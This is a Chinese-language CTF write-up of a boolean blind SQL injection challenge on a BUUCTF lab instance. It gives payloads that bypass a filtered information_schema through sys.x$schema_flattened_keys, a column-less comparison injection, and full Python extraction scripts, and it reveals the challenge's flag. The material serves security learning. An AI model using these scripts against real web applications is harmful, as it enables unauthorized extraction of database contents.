1、開啟介面之後在輸入框進行輸入測試,分別輸入1、2、3、’等字元,結果如下:
2、看到bool(false)這裡我想到了bool注入,因為之前做過這道題:https://www.cnblogs.com/upfine/p/16367693.html,所以這裡直接想到了bool注入,那就先判斷下注入點,payload:1&&1=1和1&&1=2,(這裡需要注意下編碼,否則不行,可以直接在web介面輸入,然後抓包)結果如下:
3、根據返回結果的不同,確定了注入點的存在,那就需要獲取資料庫的名字(其實不需要獲取也行,後面用到資料庫時直接使用database()代理即可),payload:1&&length(database())>21,結果如下:
4、資料庫的名字的長度大於20,但是又不大於21,因此可以確定資料庫長度為21位,那獲取下具體的資料庫的名稱,payload:1&&substr(database(),1,1)='g',資料庫名字為:give_grandpa_pa_pa_pa,結果如下:
獲取資料庫資訊的指令碼:
import requests
def get_database(url,strings):
database_length = 1
DBname = ''
for i in range(1,100):
data = {
'id': "1&&(length(database()))="+str(i)
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
database_length = i
print('資料庫長度為:'+str(database_length))
break
for i in range(1,database_length+1):
for one_char in strings:
data = {
'id': "1&&substr(database()," + str(i) + ",1)='"+str(one_char)+"'"
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
DBname = DBname + one_char
print("\r", end="")
print('正在獲取資料庫名稱,當前已獲取到'+str(i)+'位 | '+DBname, end='')
break
print('結束')
if __name__ == '__main__':
url = 'http://ae2848c1-a44a-4de3-abb2-2e8bdc271385.node4.buuoj.cn:81/index.php'
#不要修改string的順序,是按asii碼排列的,最後獲取flag會用到
strings = '-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
get_database(url,strings)
5、獲取到資料庫資訊之後開始獲取資料庫內的表名,在測試的時候發現information_schema被過濾了,那就嘗試下mysql.innodb_table_stats(mysql預設關閉InnoDB儲存引擎)一樣不行,那就只能百度了,看網上採用的是sys.x$schema_flattened_keys(需要版本>5.7且只能查詢表明,使用方法與information_schema類似),payload:1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),1,1)='f',結果如下:
指令碼程式碼如下:
import requests
import time
def get_database(url,strings):
database_length = 1
DBname = ''
for i in range(1,100):
data = {
'id': "1&&(length(database()))="+str(i)
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
database_length = i
print('資料庫長度為:'+str(database_length))
break
for i in range(1,database_length+1):
for one_char in strings:
data = {
'id': "1&&substr(database()," + str(i) + ",1)='"+str(one_char)+"'"
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
DBname = DBname + one_char
print("\r", end="")
print('正在獲取資料庫名稱,當前已獲取到'+str(i)+'位 | '+DBname.lower(), end='')
break
print('結束')
def get_tablename(url,strings):
TBname = ''
print('表名字讀取中...')
for i in range(1, 100):
for one_char in strings:
data = {
'id': "1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database())," + str(
i) + ",1)='"+str(one_char)+"'"
}
time.sleep(0.05)
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
TBname = TBname + one_char
print("\r", end="")
print('表的名字為:' + TBname.lower(), end='')
break
if 'Nu1L' not in rs.text and one_char == '~':
return ''
if __name__ == '__main__':
url = 'http://0fe9c88f-4b11-44dc-8d0c-8a792f414c49.node4.buuoj.cn:81/index.php'
strings = ',-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
get_database(url,strings)
get_tablename(url,strings)
6、獲取到資料庫內表明之後,就需要獲取表內的列的資訊,那首先就需要判斷列的數量,payload:1&&((select 1,2) > (select * from f1ag_1s_h3r3_hhhhh)),最終獲取到列的數量為2,結果如下:
6、獲取到資料庫內表明之後,因為sys.x$schema_flattened_keys只能查詢到表明,無法獲取具體的列明,因此這裡只能考慮無列名注入了,之前做過另一道題也涉及了無列明注入:https://www.cnblogs.com/upfine/p/16496021.html,payload:1&&((select 1,'F') > (select * from f1ag_1s_h3r3_hhhhh)),最終成功獲得flag:flag{f8e09741-4c9d-4866-8a83-2d129bcc54b1},結果如下:
7、關於6中payload的解釋,在本地環境進行了嘗試,語句為:select * from test where 1&&((select 1,'S') > (select * from test));,嘗試結果、表內容如下:
當引數值>asd中對應的值時為true,否則為false。
string中的字串順序需要按照asii碼的順序進行比對,不能進行跳過,或者使用二分法也可以。
8、完整的指令碼和程式碼執行結果如下:
import requests
import time
def get_database(url,strings):
database_length = 1
DBname = ''
for i in range(1,100):
data = {
'id': "1&&(length(database()))="+str(i)
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
database_length = i
print('資料庫長度為:'+str(database_length))
break
for i in range(1,database_length+1):
for one_char in strings:
data = {
'id': "1&&substr(database()," + str(i) + ",1)='"+str(one_char)+"'"
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
DBname = DBname + one_char
print("\r", end="")
print('正在獲取資料庫名稱,當前已獲取到'+str(i)+'位 | '+DBname.lower(), end='')
break
def get_tablename(url,strings):
TBname = ''
print('表名字讀取中...')
for i in range(1, 100):
for one_char in strings:
data = {
'id': "1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database())," + str(
i) + ",1)='"+str(one_char)+"'"
}
time.sleep(0.05)
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
TBname = TBname + one_char
print("\r", end="")
print('表的名字為:' + TBname.lower(), end='')
break
if 'Nu1L' not in rs.text and one_char == '~':
return ''
def get_column(url,strings):
column_name = ''
tmp = ''
print('\nflag資訊讀取中...')
for i in range(1, 100):
for one_char in strings:
one_char = column_name + one_char
data = {
'id':"1&&((select 1,'"+str(one_char)+"') > (select * from f1ag_1s_h3r3_hhhhh))"
}
time.sleep(0.05)
rs = requests.post(url,data)
if 'Nu1L' not in rs.text:
tmp = one_char
if 'Nu1L' in rs.text:
column_name = tmp
print("\r", end="")
print('flag為:' + column_name.lower(), end='')
break
if __name__ == '__main__':
url = 'http://0fe9c88f-4b11-44dc-8d0c-8a792f414c49.node4.buuoj.cn:81/index.php'
strings = ',-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
get_database(url,strings)
get_tablename(url,strings)
#原來是想著獲取column名稱,但是未獲取到,但是又懶得改名稱,所以使用的是column
get_column(url,strings)